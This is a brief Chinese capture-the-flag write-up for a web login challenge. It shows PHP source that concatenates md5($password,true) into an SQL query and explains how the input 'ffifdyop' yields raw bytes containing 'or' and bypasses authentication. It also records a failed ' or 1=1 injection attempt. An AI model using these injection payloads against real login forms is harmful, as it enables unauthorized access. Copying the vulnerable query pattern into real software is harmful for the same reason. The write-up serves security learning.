地址:
http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
源码:
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->
这里使用了md5加密,而ffifdyop经过
md5($password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是
$sql="select password from users where password=''or'<xxx>'"
成功绕过。
而我一开始的思路是更改语序执行,但是没有成功。
比如password的值是1,true)."' or 1=1";//,最后sql语句就形成了一下;但是错误在哪里呢。。
"SELECT * FROM admin WHERE username = 'admin' and password = '" +md5($1,true)+ "' or 1=1";//,true)+"'";
另外,这个故事告诉我们,md5使用的时候一定要加盐!
参考:https://blog.csdn.net/qq_35900276/article/details/78438077